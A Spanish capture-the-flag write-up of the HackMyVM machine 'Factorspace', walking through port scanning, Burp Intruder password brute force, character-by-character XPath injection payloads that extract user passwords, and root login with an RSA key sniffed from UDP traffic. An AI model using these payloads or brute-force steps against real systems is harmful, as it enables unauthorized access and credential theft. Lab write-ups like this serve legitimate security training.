HackMyVM - Factorspace

logo

  • Brute Force and Captcha bypass
  • XPATH Injection
  • Leaked RSA Key

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.19

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.19

PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 dbf946e520816ceec72508ab2251366c (RSA)
|   256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_  256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp   open   http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: industrial
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

http

Realizo fuerza bruta de extensiones.

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.19/FUZZ.FUZ2Z' -z list,php-txt --hc=404 --hl=370
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.19/FUZZ.FUZ2Z
Total requests: 441120

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================                                                 
000000105:   200        67 L     145 W      2346 Ch     "login - php"                                                                                                                                   
000000895:   302        7 L      12 W       115 Ch      "results - php"                                                                                                                                 
000002655:   302        0 L      0 W        0 Ch        "check - php"                                                                                                                                   
000005051:   200        0 L      0 W        0 Ch        "auth - php"

En login.php hay un formulario para iniciar sesión pero no tengo ni usuario ni contraseña así que probaré con usuario admin y contraseña 1234.

login

Capturo la petición con Burpsuite y lo muevo a la pestaña intruder.

loginIntruder

Configuro el parámetro password para realizar fuerza bruta.

loginIntruderB

En el apartado payloads selecciono Runtime file y selecciono el diccionario rockyou.

payloadRuntimeFile

Obtengo la contraseña de admin.

passwordadmin

Me logueo como admin y veo una herramienta de búsqueda.

employee

Si escribo Doe me muestra lo siguiente.

employeeResults

Después de una larga búsqueda me doy cuenta que es vulnerable a XPATH injection.

0detectVuln

Tras mi primera prueba me devuelve este resultado.

1detectVuln

Siguiendo los ejemplos de PayloadsAllTheThings realizo fuerza bruta al parámetro lastname, para ello he usado una lista de números de la A a la Z, minúsculas y mayúsculas. En el primer intento de fuerza bruta encuentro la letra D.

intruderlastnameB

lastname=Doe' or starts-with(//lastname,'a') or '

Añado la letra D al principio del payload y me queda de esta forma:

lastname=Doe' or starts-with(//lastname,'D§a§') or '

Realizo de nuevo fuerza bruta y me encuentra la letra o.

intruderlastname2

Añado la letra o después de la letra D y me queda de esta forma:

lastname=Doe' or starts-with(//lastname,'Do§a§') or '

Lanzo de nuevo el ataque y me encuentra la letra e formando la palabra Doe.

intruderlastname3

Ahora si cambio el parámetro lastname por password y siguiendo la misma metodología obtendré el password de John, pero este no sirve para conectarme al sistema, así que para obtener el password del siguiente usuario he añadido el user position.

lastname=Doe' or starts-with(//user[position()=2]//password,'a') or '

Con el user position defino la posición del usuario, uso la posición 2 que en este caso es el usuario Jackie.

detectVuln

Con la misma metodología anterior encuentro la letra q que es la primera letra de la contraseña de Jackie.

intruderB

Añado la letra q al payload para seguir buscando la contraseña.

lastname=Doe' or starts-with(//user[position()=2]//password,'q§a§') or '

Encuentro la letra “y” y la añado al payload.

intruder2B

lastname=Doe' or starts-with(//user[position()=2]//password,'qy§a§') or '

intruder3B

Repito el proceso hasta completar la contraseña.

intruder4

Me conecto al sistema como usuario jackie.

❯ ssh jackie@192.168.1.19
jackie@192.168.1.19's password: 
Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
jackie@factorspace:~$ 

Mirando el estado de la red observo que hay el puerto 5555 abierto.

jackie@factorspace:~$ ss -ltun
Netid    State       Recv-Q  Send-Q  Local Address:Port   Peer Address:Port              
udp      UNCONN      0       0           224.1.1.1:5555        0.0.0.0:*                                        
udp      UNCONN      0       0             0.0.0.0:68          0.0.0.0:*                                        
tcp      LISTEN      0       128           0.0.0.0:22          0.0.0.0:*                                        
tcp      LISTEN      0       511                 *:80                *:*                                        
tcp      LISTEN      0       128              [::]:22             [::]:*    

Abro wireshark y veo que la máquina objetivo manda datos por el protocolo UDP.

wireshark

Botón derecho encima del protocolo UDP, click en follow UDP y encuentro una llave rsa.

id_rsa

Copio la llave rsa y me conecto como root.

❯ ssh root@192.168.1.19 -i id_rsa
Linux factorspace 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 18 16:59:05 2023 from 192.168.1.18
root@factorspace:~# id;hostname
uid=0(root) gid=0(root) groups=0(root)
factorspace
root@factorspace:~#

Y aquí termina la máquina Factorspace.

Saludos!